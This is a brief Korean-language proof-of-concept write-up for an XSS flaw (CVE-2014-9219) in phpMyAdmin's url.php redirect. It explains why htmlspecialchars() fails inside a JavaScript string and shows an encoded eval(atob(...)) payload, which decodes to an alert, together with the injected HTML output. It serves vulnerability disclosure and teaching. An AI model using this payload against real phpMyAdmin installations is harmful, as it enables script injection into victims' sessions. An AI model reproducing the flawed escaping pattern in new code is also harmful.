
CVE-2014-9219 XSS POC
CVE-2014-9219 XSS POC
이 취약점은 phpMyAdmin 4.2.x(4.2.13.1 이전)의 url.php에 있는 리디렉션 기능에서 url 매개변수를 처리할 때 발생하는 입력 검증 오류로 인해 발생합니다. 원격 공격자는 피해자를 속여 특수하게 조작된 링크를 따라가게 하고, 취약한 웹사이트의 보안 컨텍스트에서 피해자 브라우저에 임의의 HTML 및 스크립트 코드를 실행할 수 있습니다.
phpMyAdmin: 4.2.0 - 4.2.13
취약한 코드는 URL 매개변수를 JavaScript 문자열 컨텍스트에 삽입하기 전에 htmlspecialchars()를 사용하여 정화합니다:
window.location='" . htmlspecialchars($_GET['url']) . "';
htmlspecialchars()는 JavaScript 문자열 컨텍스트가 아닌 HTML 컨텍스트용으로 설계되었습니다. 이 함수는 JavaScript 문자열 리터럴에서 벗어날 수 있는 문자를 적절히 이스케이프하지 못합니다.
url 인코딩:
url.php?url=http%3A%2F%2Fwww.phpmyadmin.net%2F'%2beval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))%2b'
url 디코딩:
url.php?url=http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'
HTML 출력:
<script type='text/javascript'>
window.onload=function(){
window.location='http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'';
}
</script>Taking you to http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'.